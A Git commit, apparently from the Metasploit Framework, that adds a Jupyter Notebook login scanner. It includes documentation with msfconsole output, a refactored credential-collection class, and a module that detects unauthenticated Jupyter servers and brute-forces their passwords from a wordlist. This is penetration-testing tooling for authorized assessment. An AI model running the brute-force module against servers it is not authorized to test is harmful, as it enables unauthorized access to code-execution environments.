Land #13959, Add a login scanner for Jupyter Notebooks
This commit is contained in:
commit
bdad038e70
|
@ -0,0 +1,75 @@
|
|||
## Vulnerable Application
|
||||
|
||||
This module checks if authentication is required on a Jupyter Lab or Notebook server. If it is, this module will
|
||||
bruteforce the password. Jupyter only requires a password to authenticate, usernames are not used. This module is
|
||||
compatible with versions 4.3.0 (released 2016-12-08) and newer. [Version 4.3.0][1] is the first version in which
|
||||
authentication is required by default.
|
||||
|
||||
A note on names, "Jupyter Lab" is the next-generation interface for "Jupyter Notebooks" which was the successor of the
|
||||
original IPython Notebook system. This module is compatible with both standard Jupyter Notebook and Jupyter Lab servers.
|
||||
|
||||
### Installation
|
||||
|
||||
1. Install the latest version of Jupyter from PyPi using pip: `pip install notebook`. The "notebook" package is the core
|
||||
application and is the one whose version number is used as the Jupyter version number referred to in this document.
|
||||
1. Start Jupyter using `jupyter notebook --ip='*'` to start Jupyter listening on all IP addresses.
|
||||
* New installs will randomly generate an authentication token and open the browser with it
|
||||
* As of [version 5.3][2], the user will be prompted to set a password the first time they open the UI
|
||||
* Note that you may need to restart Jupyter after changing the password in order for Jupyter to start using the new password.
|
||||
* If you can't reset the password, it may be because you need to create the directory `.jupyter` in the directory
|
||||
you are running the `jupyter notebook --ip='*'` command from.
|
||||
1. With the password set, the module can be tested
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
1. Start msfconsole
|
||||
1. Do: `use auxiliary/scanner/http/jupyter_login`
|
||||
1. Set the `RHOSTS` option
|
||||
* With no other options set, this will only check if authentication is required
|
||||
1. Do: `run`
|
||||
1. You should the server version
|
||||
1. If password options (such as `PASS_FILE`) where specified, and the server requires authentication then you should see
|
||||
login attempts
|
||||
|
||||
## Options
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Jupyter Notebook 4.3.0 With No Authentication Requirement
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/scanner/http/jupyter_login
|
||||
msf5 auxiliary(scanner/http/jupyter_login) > set RHOSTS 192.168.159.128
|
||||
RHOSTS => 192.168.159.128
|
||||
msf5 auxiliary(scanner/http/jupyter_login) > set PASS_FILE /tmp/passwords.txt
|
||||
PASS_FILE => /tmp/passwords.txt
|
||||
msf5 auxiliary(scanner/http/jupyter_login) > run
|
||||
|
||||
[*] 192.168.159.128:8888 - The server responded that it is running Jupyter version: 4.3.0
|
||||
[+] 192.168.159.128:8888 - No password is required.
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf5 auxiliary(scanner/http/jupyter_login) >
|
||||
```
|
||||
|
||||
### Jupyter Notebook 6.0.2 With A Password Set
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/scanner/http/jupyter_login
|
||||
msf5 auxiliary(scanner/http/jupyter_login) > set RHOSTS 192.168.159.128
|
||||
RHOSTS => 192.168.159.128
|
||||
msf5 auxiliary(scanner/http/jupyter_login) > set PASS_FILE /tmp/passwords.txt
|
||||
PASS_FILE => /tmp/passwords.txt
|
||||
msf5 auxiliary(scanner/http/jupyter_login) > run
|
||||
|
||||
[*] 192.168.159.128:8888 - The server responded that it is running Jupyter version: 6.0.2
|
||||
[-] 192.168.159.128:8888 - LOGIN FAILED: :Password (Incorrect)
|
||||
[+] 192.168.159.128:8888 - Login Successful: :Password1
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf5 auxiliary(scanner/http/jupyter_login) >
|
||||
```
|
||||
|
||||
[1]: https://jupyter-notebook.readthedocs.io/en/stable/changelog.html#release-4-3
|
||||
[2]: https://jupyter-notebook.readthedocs.io/en/stable/public_server.html#automatic-password-setup
|
|
@ -6,7 +6,7 @@ module Metasploit
|
|||
# This class is responsible for taking datastore options from the snmp_login module
|
||||
# and yielding appropriate {Metasploit::Framework::Credential}s to the {Metasploit::Framework::LoginScanner::SNMP}.
|
||||
# This one has to be different from credentialCollection as it will only have a {Metasploit::Framework::Credential#public}
|
||||
# It may be slightly confusing that the attribues are called password and pass_file, because this is what the legacy
|
||||
# It may be slightly confusing that the attributes are called password and pass_file, because this is what the legacy
|
||||
# module used. However, community Strings are now considered more to be public credentials than private ones.
|
||||
class CommunityStringCollection
|
||||
# @!attribute pass_file
|
||||
|
|
|
@ -1,233 +1,309 @@
|
|||
require 'metasploit/framework/credential'
|
||||
|
||||
class Metasploit::Framework::CredentialCollection
|
||||
module Metasploit::Framework
|
||||
|
||||
# @!attribute additional_privates
|
||||
# Additional privates to be combined
|
||||
#
|
||||
# @return [Array<String>]
|
||||
attr_accessor :additional_privates
|
||||
class PrivateCredentialCollection
|
||||
# @!attribute additional_privates
|
||||
# Additional private values that should be tried
|
||||
# @return [Array<String>]
|
||||
attr_accessor :additional_privates
|
||||
|
||||
# @!attribute additional_publics
|
||||
# Additional public to be combined
|
||||
#
|
||||
# @return [Array<String>]
|
||||
attr_accessor :additional_publics
|
||||
# @!attribute blank_passwords
|
||||
# Whether each username should be tried with a blank password
|
||||
# @return [Boolean]
|
||||
attr_accessor :blank_passwords
|
||||
|
||||
# @!attribute blank_passwords
|
||||
# Whether each username should be tried with a blank password
|
||||
# @return [Boolean]
|
||||
attr_accessor :blank_passwords
|
||||
# @!attribute pass_file
|
||||
# Path to a file containing passwords, one per line
|
||||
# @return [String]
|
||||
attr_accessor :pass_file
|
||||
|
||||
# @!attribute pass_file
|
||||
# Path to a file containing passwords, one per line
|
||||
# @return [String]
|
||||
attr_accessor :pass_file
|
||||
# @!attribute password
|
||||
# The password that should be tried
|
||||
# @return [String]
|
||||
attr_accessor :password
|
||||
|
||||
# @!attribute password
|
||||
# @return [String]
|
||||
attr_accessor :password
|
||||
# @!attribute prepended_creds
|
||||
# List of credentials to be tried before any others
|
||||
#
|
||||
# @see #prepend_cred
|
||||
# @return [Array<Credential>]
|
||||
attr_accessor :prepended_creds
|
||||
|
||||
# @!attribute prepended_creds
|
||||
# List of credentials to be tried before any others
|
||||
#
|
||||
# @see #prepend_cred
|
||||
# @return [Array<Credential>]
|
||||
attr_accessor :prepended_creds
|
||||
# @!attribute realm
|
||||
# The authentication realm associated with this password
|
||||
# @return [String]
|
||||
attr_accessor :realm
|
||||
|
||||
# @!attribute realm
|
||||
# @return [String]
|
||||
attr_accessor :realm
|
||||
|
||||
# @!attribute user_as_pass
|
||||
# Whether each username should be tried as a password for that user
|
||||
# @return [Boolean]
|
||||
attr_accessor :user_as_pass
|
||||
|
||||
# @!attribute user_file
|
||||
# Path to a file containing usernames, one per line
|
||||
# @return [String]
|
||||
attr_accessor :user_file
|
||||
|
||||
# @!attribute username
|
||||
# @return [String]
|
||||
attr_accessor :username
|
||||
|
||||
# @!attribute userpass_file
|
||||
# Path to a file containing usernames and passwords separated by a space,
|
||||
# one pair per line
|
||||
# @return [String]
|
||||
attr_accessor :userpass_file
|
||||
|
||||
# @option opts [Boolean] :blank_passwords See {#blank_passwords}
|
||||
# @option opts [String] :pass_file See {#pass_file}
|
||||
# @option opts [String] :password See {#password}
|
||||
# @option opts [Array<Credential>] :prepended_creds ([]) See {#prepended_creds}
|
||||
# @option opts [Boolean] :user_as_pass See {#user_as_pass}
|
||||
# @option opts [String] :user_file See {#user_file}
|
||||
# @option opts [String] :username See {#username}
|
||||
# @option opts [String] :userpass_file See {#userpass_file}
|
||||
def initialize(opts = {})
|
||||
opts.each do |attribute, value|
|
||||
public_send("#{attribute}=", value)
|
||||
end
|
||||
self.prepended_creds ||= []
|
||||
self.additional_privates ||= []
|
||||
self.additional_publics ||= []
|
||||
end
|
||||
|
||||
# Adds a string as an addition private credential
|
||||
# to be combined in the collection.
|
||||
#
|
||||
# @param [String] private_str the string to use as a private
|
||||
# @return [void]
|
||||
def add_private(private_str='')
|
||||
additional_privates << private_str
|
||||
end
|
||||
|
||||
# Adds a string as an addition public credential
|
||||
# to be combined in the collection.
|
||||
#
|
||||
# @param [String] public_str the string to use as a public
|
||||
# @return [void]
|
||||
def add_public(public_str='')
|
||||
additional_publics << public_str
|
||||
end
|
||||
|
||||
# Add {Credential credentials} that will be yielded by {#each}
|
||||
#
|
||||
# @see prepended_creds
|
||||
# @param cred [Credential]
|
||||
# @return [self]
|
||||
def prepend_cred(cred)
|
||||
prepended_creds.unshift cred
|
||||
self
|
||||
end
|
||||
|
||||
# Combines all the provided credential sources into a stream of {Credential}
|
||||
# objects, yielding them one at a time
|
||||
#
|
||||
# @yieldparam credential [Metasploit::Framework::Credential]
|
||||
# @return [void]
|
||||
def each
|
||||
if pass_file.present?
|
||||
pass_fd = File.open(pass_file, 'r:binary')
|
||||
end
|
||||
|
||||
prepended_creds.each { |c| yield c }
|
||||
|
||||
if username.present?
|
||||
if password.present?
|
||||
yield Metasploit::Framework::Credential.new(public: username, private: password, realm: realm, private_type: private_type(password))
|
||||
# @option opts [Boolean] :blank_passwords See {#blank_passwords}
|
||||
# @option opts [String] :pass_file See {#pass_file}
|
||||
# @option opts [String] :password See {#password}
|
||||
# @option opts [Array<Credential>] :prepended_creds ([]) See {#prepended_creds}
|
||||
# @option opts [Boolean] :user_as_pass See {#user_as_pass}
|
||||
# @option opts [String] :user_file See {#user_file}
|
||||
# @option opts [String] :username See {#username}
|
||||
# @option opts [String] :userpass_file See {#userpass_file}
|
||||
def initialize(opts = {})
|
||||
opts.each do |attribute, value|
|
||||
public_send("#{attribute}=", value)
|
||||
end
|
||||
if user_as_pass
|
||||
yield Metasploit::Framework::Credential.new(public: username, private: username, realm: realm, private_type: :password)
|
||||
self.prepended_creds ||= []
|
||||
self.additional_privates ||= []
|
||||
end
|
||||
|
||||
# Adds a string as an additional private credential
|
||||
# to be combined in the collection.
|
||||
#
|
||||
# @param [String] private_str The string to use as a private credential
|
||||
# @return [void]
|
||||
def add_private(private_str='')
|
||||
additional_privates << private_str
|
||||
end
|
||||
|
||||
# Add {Credential credentials} that will be yielded by {#each}
|
||||
#
|
||||
# @see prepended_creds
|
||||
# @param [Credential] cred
|
||||
# @return [self]
|
||||
def prepend_cred(cred)
|
||||
prepended_creds.unshift cred
|
||||
self
|
||||
end
|
||||
|
||||
# Combines all the provided credential sources into a stream of {Credential}
|
||||
# objects, yielding them one at a time
|
||||
#
|
||||
# @yieldparam credential [Metasploit::Framework::Credential]
|
||||
# @return [void]
|
||||
def each
|
||||
if pass_file.present?
|
||||
pass_fd = File.open(pass_file, 'r:binary')
|
||||
end
|
||||
|
||||
prepended_creds.each { |c| yield c }
|
||||
|
||||
if password.present?
|
||||
yield Metasploit::Framework::Credential.new(private: password, realm: realm, private_type: private_type(password))
|
||||
end
|
||||
if blank_passwords
|
||||
yield Metasploit::Framework::Credential.new(public: username, private: "", realm: realm, private_type: :password)
|
||||
yield Metasploit::Framework::Credential.new(private: "", realm: realm, private_type: :password)
|
||||
end
|
||||
if pass_fd
|
||||
pass_fd.each_line do |pass_from_file|
|
||||
pass_from_file.chomp!
|
||||
yield Metasploit::Framework::Credential.new(public: username, private: pass_from_file, realm: realm, private_type: private_type(pass_from_file))
|
||||
yield Metasploit::Framework::Credential.new(private: pass_from_file, realm: realm, private_type: private_type(pass_from_file))
|
||||
end
|
||||
pass_fd.seek(0)
|
||||
end
|
||||
additional_privates.each do |add_private|
|
||||
yield Metasploit::Framework::Credential.new(public: username, private: add_private, realm: realm, private_type: private_type(add_private))
|
||||
yield Metasploit::Framework::Credential.new(private: add_private, realm: realm, private_type: private_type(add_private))
|
||||
end
|
||||
|
||||
ensure
|
||||
pass_fd.close if pass_fd && !pass_fd.closed?
|
||||
end
|
||||
|
||||
if user_file.present?
|
||||
File.open(user_file, 'r:binary') do |user_fd|
|
||||
user_fd.each_line do |user_from_file|
|
||||
user_from_file.chomp!
|
||||
if password.present?
|
||||
yield Metasploit::Framework::Credential.new(public: user_from_file, private: password, realm: realm, private_type: private_type(password) )
|
||||
# Returns true when #each will have no results to iterate
|
||||
#
|
||||
# @return [Boolean]
|
||||
def empty?
|
||||
prepended_creds.empty? && !has_privates?
|
||||
end
|
||||
|
||||
# Returns true when there are any private values set
|
||||
#
|
||||
# @return [Boolean]
|
||||
def has_privates?
|
||||
password.present? || pass_file.present? || !additional_privates.empty? || blank_passwords
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
# Analyze a private value to determine its type by checking it against a known list of regular expressions
|
||||
#
|
||||
# @param [String] private The string to analyze
|
||||
# @return [Symbol]
|
||||
def private_type(private)
|
||||
if private =~ /[0-9a-f]{32}:[0-9a-f]{32}/
|
||||
:ntlm_hash
|
||||
elsif private =~ /^md5([a-f0-9]{32})$/
|
||||
:postgres_md5
|
||||
else
|
||||
:password
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
class CredentialCollection < PrivateCredentialCollection
|
||||
|
||||
# @!attribute additional_publics
|
||||
# Additional public values that should be tried
|
||||
#
|
||||
# @return [Array<String>]
|
||||
attr_accessor :additional_publics
|
||||
|
||||
# @!attribute user_as_pass
|
||||
# Whether each username should be tried as a password for that user
|
||||
# @return [Boolean]
|
||||
attr_accessor :user_as_pass
|
||||
|
||||
# @!attribute user_file
|
||||
# Path to a file containing usernames, one per line
|
||||
# @return [String]
|
||||
attr_accessor :user_file
|
||||
|
||||
# @!attribute username
|
||||
# The username that should be tried
|
||||
# @return [String]
|
||||
attr_accessor :username
|
||||
|
||||
# @!attribute userpass_file
|
||||
# Path to a file containing usernames and passwords separated by a space,
|
||||
# one pair per line
|
||||
# @return [String]
|
||||
attr_accessor :userpass_file
|
||||
|
||||
# @option opts [Boolean] :blank_passwords See {#blank_passwords}
|
||||
# @option opts [String] :pass_file See {#pass_file}
|
||||
# @option opts [String] :password See {#password}
|
||||
# @option opts [Array<Credential>] :prepended_creds ([]) See {#prepended_creds}
|
||||
# @option opts [Boolean] :user_as_pass See {#user_as_pass}
|
||||
# @option opts [String] :user_file See {#user_file}
|
||||
# @option opts [String] :username See {#username}
|
||||
# @option opts [String] :userpass_file See {#userpass_file}
|
||||
def initialize(opts = {})
|
||||
super
|
||||
self.additional_publics ||= []
|
||||
end
|
||||
|
||||
# Adds a string as an additional public credential
|
||||
# to be combined in the collection.
|
||||
#
|
||||
# @param [String] public_str The string to use as a public credential
|
||||
# @return [void]
|
||||
def add_public(public_str='')
|
||||
additional_publics << public_str
|
||||
end
|
||||
|
||||
# Combines all the provided credential sources into a stream of {Credential}
|
||||
# objects, yielding them one at a time
|
||||
#
|
||||
# @yieldparam credential [Metasploit::Framework::Credential]
|
||||
# @return [void]
|
||||
def each
|
||||
if pass_file.present?
|
||||
pass_fd = File.open(pass_file, 'r:binary')
|
||||
end
|
||||
|
||||
prepended_creds.each { |c| yield c }
|
||||
|
||||
if username.present?
|
||||
if password.present?
|
||||
yield Metasploit::Framework::Credential.new(public: username, private: password, realm: realm, private_type: private_type(password))
|
||||
end
|
||||
if user_as_pass
|
||||
yield Metasploit::Framework::Credential.new(public: username, private: username, realm: realm, private_type: :password)
|
||||
end
|
||||
if blank_passwords
|
||||
yield Metasploit::Framework::Credential.new(public: username, private: "", realm: realm, private_type: :password)
|
||||
end
|
||||
if pass_fd
|
||||
pass_fd.each_line do |pass_from_file|
|
||||
pass_from_file.chomp!
|
||||
yield Metasploit::Framework::Credential.new(public: username, private: pass_from_file, realm: realm, private_type: private_type(pass_from_file))
|
||||
end
|
||||
if user_as_pass
|
||||
yield Metasploit::Framework::Credential.new(public: user_from_file, private: user_from_file, realm: realm, private_type: :password)
|
||||
end
|
||||
if blank_passwords
|
||||
yield Metasploit::Framework::Credential.new(public: user_from_file, private: "", realm: realm, private_type: :password)
|
||||
end
|
||||
if pass_fd
|
||||
pass_fd.each_line do |pass_from_file|
|
||||
pass_from_file.chomp!
|
||||
yield Metasploit::Framework::Credential.new(public: user_from_file, private: pass_from_file, realm: realm, private_type: private_type(pass_from_file))
|
||||
end
|
||||
additional_privates.each do |add_private|
|
||||
yield Metasploit::Framework::Credential.new(public: username, private: add_private, realm: realm, private_type: private_type(add_private))
|
||||
end
|
||||
end
|
||||
|
||||
if user_file.present?
|
||||
File.open(user_file, 'r:binary') do |user_fd|
|
||||
user_fd.each_line do |user_from_file|
|
||||
user_from_file.chomp!
|
||||
if password.present?
|
||||
yield Metasploit::Framework::Credential.new(public: user_from_file, private: password, realm: realm, private_type: private_type(password) )
|
||||
end
|
||||
if user_as_pass
|
||||
yield Metasploit::Framework::Credential.new(public: user_from_file, private: user_from_file, realm: realm, private_type: :password)
|
||||
end
|
||||
if blank_passwords
|
||||
yield Metasploit::Framework::Credential.new(public: user_from_file, private: "", realm: realm, private_type: :password)
|
||||
end
|
||||
if pass_fd
|
||||
pass_fd.each_line do |pass_from_file|
|
||||
pass_from_file.chomp!
|
||||
yield Metasploit::Framework::Credential.new(public: user_from_file, private: pass_from_file, realm: realm, private_type: private_type(pass_from_file))
|
||||
end
|
||||
pass_fd.seek(0)
|
||||
end
|
||||
additional_privates.each do |add_private|
|
||||
yield Metasploit::Framework::Credential.new(public: user_from_file, private: add_private, realm: realm, private_type: private_type(add_private))
|
||||
end
|
||||
pass_fd.seek(0)
|
||||
end
|
||||
additional_privates.each do |add_private|
|
||||
yield Metasploit::Framework::Credential.new(public: user_from_file, private: add_private, realm: realm, private_type: private_type(add_private))
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
if userpass_file.present?
|
||||
File.open(userpass_file, 'r:binary') do |userpass_fd|
|
||||
userpass_fd.each_line do |line|
|
||||
user, pass = line.split(" ", 2)
|
||||
if pass.blank?
|
||||
pass = ''
|
||||
else
|
||||
pass.chomp!
|
||||
if userpass_file.present?
|
||||
File.open(userpass_file, 'r:binary') do |userpass_fd|
|
||||
userpass_fd.each_line do |line|
|
||||
user, pass = line.split(" ", 2)
|
||||
if pass.blank?
|
||||
pass = ''
|
||||
else
|
||||
pass.chomp!
|
||||
end
|
||||
yield Metasploit::Framework::Credential.new(public: user, private: pass, realm: realm)
|
||||
end
|
||||
yield Metasploit::Framework::Credential.new(public: user, private: pass, realm: realm)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
additional_publics.each do |add_public|
|
||||
if password.present?
|
||||
yield Metasploit::Framework::Credential.new(public: add_public, private: password, realm: realm, private_type: private_type(password) )
|
||||
end
|
||||
if user_as_pass
|
||||
yield Metasploit::Framework::Credential.new(public: add_public, private: user_from_file, realm: realm, private_type: :password)
|
||||
end
|
||||
if blank_passwords
|
||||
yield Metasploit::Framework::Credential.new(public: add_public, private: "", realm: realm, private_type: :password)
|
||||
end
|
||||
if pass_fd
|
||||
pass_fd.each_line do |pass_from_file|
|
||||
pass_from_file.chomp!
|
||||
yield Metasploit::Framework::Credential.new(public: add_public, private: pass_from_file, realm: realm, private_type: private_type(pass_from_file))
|
||||
additional_publics.each do |add_public|
|
||||
if password.present?
|
||||
yield Metasploit::Framework::Credential.new(public: add_public, private: password, realm: realm, private_type: private_type(password) )
|
||||
end
|
||||
if user_as_pass
|
||||
yield Metasploit::Framework::Credential.new(public: add_public, private: user_from_file, realm: realm, private_type: :password)
|
||||
end
|
||||
if blank_passwords
|
||||
yield Metasploit::Framework::Credential.new(public: add_public, private: "", realm: realm, private_type: :password)
|
||||
end
|
||||
if pass_fd
|
||||
pass_fd.each_line do |pass_from_file|
|
||||
pass_from_file.chomp!
|
||||
yield Metasploit::Framework::Credential.new(public: add_public, private: pass_from_file, realm: realm, private_type: private_type(pass_from_file))
|
||||
end
|
||||
pass_fd.seek(0)
|
||||
end
|
||||
additional_privates.each do |add_private|
|
||||
yield Metasploit::Framework::Credential.new(public: add_public, private: add_private, realm: realm, private_type: private_type(add_private))
|
||||
end
|
||||
pass_fd.seek(0)
|
||||
end
|
||||
additional_privates.each do |add_private|
|
||||
yield Metasploit::Framework::Credential.new(public: add_public, private: add_private, realm: realm, private_type: private_type(add_private))
|
||||
end
|
||||
|
||||
ensure
|
||||
pass_fd.close if pass_fd && !pass_fd.closed?
|
||||
end
|
||||
|
||||
ensure
|
||||
pass_fd.close if pass_fd && !pass_fd.closed?
|
||||
end
|
||||
|
||||
# Returns true when #each will have no results to iterate
|
||||
def empty?
|
||||
prepended_creds.empty? && !has_users? || (has_users? && !has_privates?)
|
||||
end
|
||||
|
||||
def has_users?
|
||||
username.present? || user_file.present? || userpass_file.present? || !additional_publics.empty?
|
||||
end
|
||||
|
||||
def has_privates?
|
||||
password.present? || pass_file.present? || userpass_file.present? || !additional_privates.empty? || blank_passwords || user_as_pass
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
def private_type(private)
|
||||
if private =~ /[0-9a-f]{32}:[0-9a-f]{32}/
|
||||
:ntlm_hash
|
||||
elsif private =~ /^md5([a-f0-9]{32})$/
|
||||
:postgres_md5
|
||||
else
|
||||
:password
|
||||
# Returns true when #each will have no results to iterate
|
||||
#
|
||||
# @return [Boolean]
|
||||
def empty?
|
||||
prepended_creds.empty? && !has_users? || (has_users? && !has_privates?)
|
||||
end
|
||||
end
|
||||
|
||||
# Returns true when there are any user values set
|
||||
#
|
||||
# @return [Boolean]
|
||||
def has_users?
|
||||
username.present? || user_file.present? || userpass_file.present? || !additional_publics.empty?
|
||||
end
|
||||
|
||||
# Returns true when there are any private values set
|
||||
#
|
||||
# @return [Boolean]
|
||||
def has_privates?
|
||||
super || userpass_file.present? || user_as_pass
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
|
|
@ -0,0 +1,61 @@
|
|||
require 'metasploit/framework/login_scanner/http'
|
||||
|
||||
module Metasploit
|
||||
module Framework
|
||||
module LoginScanner
|
||||
|
||||
# Jupyter login scanner
|
||||
class Jupyter < HTTP
|
||||
|
||||
# Inherit LIKELY_PORTS,LIKELY_SERVICE_NAMES, and REALM_KEY from HTTP
|
||||
CAN_GET_SESSION = true
|
||||
DEFAULT_PORT = 8888
|
||||
PRIVATE_TYPES = [ :password ]
|
||||
|
||||
# (see Base#set_sane_defaults)
|
||||
def set_sane_defaults
|
||||
self.uri = '/login' if self.uri.nil?
|
||||
self.method = 'POST' if self.method.nil?
|
||||
|
||||
super
|
||||
end
|
||||
|
||||
def attempt_login(credential)
|
||||
result_opts = {
|
||||
credential: credential,
|
||||
host: host,
|
||||
port: port,
|
||||
protocol: 'tcp',
|
||||
service_name: ssl ? 'https' : 'http'
|
||||
}
|
||||
|
||||
begin
|
||||
res = send_request({'method'=> 'GET', 'uri' => uri})
|
||||
vars_post = {'password' => credential.private }
|
||||
|
||||
# versions < 4.3.1 do not use this field
|
||||
unless (node = res.get_html_document.xpath('//form//input[@name="_xsrf"]')).empty?
|
||||
vars_post['_xsrf'] = node.first['value']
|
||||
end
|
||||
|
||||
res = send_request({
|
||||
'method' => 'POST',
|
||||
'uri' => uri,
|
||||
'cookie' => res.get_cookies,
|
||||
'vars_post' => vars_post
|
||||
})
|
||||
|
||||
if res&.code == 302 && res.headers['Location']
|
||||
result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL, proof: res.headers)
|
||||
else
|
||||
result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT, proof: res)
|
||||
end
|
||||
rescue ::EOFError, Errno::ETIMEDOUT, Errno::ECONNRESET, Rex::ConnectionError, OpenSSL::SSL::SSLError, ::Timeout::Error => e
|
||||
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
|
||||
end
|
||||
Result.new(result_opts)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,115 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'metasploit/framework/credential_collection'
|
||||
require 'metasploit/framework/login_scanner/jupyter'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::AuthBrute
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'Jupyter Login Utility',
|
||||
'Description' => %q{
|
||||
This module checks if authentication is required on a Jupyter Lab or Notebook server. If it is, this module will
|
||||
bruteforce the password. Jupyter only requires a password to authenticate, usernames are not used. This module
|
||||
is compatible with versions 4.3.0 (released 2016-12-08) and newer.
|
||||
},
|
||||
'Author' => [ 'Spencer McIntyre' ],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [ true, 'The path to the Jupyter application', '/' ]),
|
||||
Opt::RPORT(8888)
|
||||
]
|
||||
)
|
||||
|
||||
deregister_options('PASSWORD_SPRAY')
|
||||
deregister_options('DB_ALL_CREDS', 'DB_ALL_USERS', 'HttpUsername', 'STOP_ON_SUCCESS', 'USERNAME', 'USERPASS_FILE', 'USER_AS_PASS', 'USER_FILE')
|
||||
|
||||
register_autofilter_ports([ 80, 443, 8888 ])
|
||||
end
|
||||
|
||||
def requires_password?(_ip)
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'tree')
|
||||
})
|
||||
|
||||
return false if res&.code == 200
|
||||
|
||||
destination = res.headers['Location'].split('?', 2)[0]
|
||||
return true if destination.end_with?(normalize_uri(target_uri.path, 'login'))
|
||||
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - The server responded with a redirect that did not match a known fingerprint")
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'api')
|
||||
})
|
||||
version = res.get_json_document.dig('version')
|
||||
if version.nil?
|
||||
print_error "#{peer} - The server does not appear to be running Jupyter (failed to fetch the API version)"
|
||||
return
|
||||
end
|
||||
vprint_status "#{peer} - The server responded that it is running Jupyter version: #{version}"
|
||||
|
||||
unless requires_password?(ip)
|
||||
print_good "#{peer} - No password is required."
|
||||
report_vuln(
|
||||
host: ip,
|
||||
port: rport,
|
||||
proto: 'tcp',
|
||||
sname: (ssl ? 'https' : 'http'),
|
||||
name: 'Unauthenticated Jupyter Access',
|
||||
info: "Module #{fullname} confirmed unauthenticated access to the Jupyter application"
|
||||
)
|
||||
return
|
||||
end
|
||||
|
||||
cred_collection = Metasploit::Framework::PrivateCredentialCollection.new(
|
||||
blank_passwords: datastore['BLANK_PASSWORDS'],
|
||||
pass_file: datastore['PASS_FILE'],
|
||||
password: datastore['PASSWORD']
|
||||
)
|
||||
|
||||
scanner = Metasploit::Framework::LoginScanner::Jupyter.new(
|
||||
configure_http_login_scanner(
|
||||
uri: normalize_uri(target_uri.path, 'login'),
|
||||
cred_details: cred_collection,
|
||||
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
|
||||
connection_timeout: 10,
|
||||
http_password: datastore['HttpPassword'],
|
||||
# there is only one password and no username, so don't bother continuing
|
||||
stop_on_success: true
|
||||
)
|
||||
)
|
||||
|
||||
scanner.scan! do |result|
|
||||
credential_data = result.to_h
|
||||
credential_data.merge!(
|
||||
module_fullname: fullname,
|
||||
workspace_id: myworkspace_id
|
||||
)
|
||||
if result.success?
|
||||
credential_core = create_credential(credential_data)
|
||||
credential_data[:core] = credential_core
|
||||
create_credential_login(credential_data)
|
||||
|
||||
print_good "#{peer} - Login Successful: #{result.credential}"
|
||||
else
|
||||
invalidate_login(credential_data)
|
||||
vprint_error "#{peer} - LOGIN FAILED: #{result.credential} (#{result.status})"
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue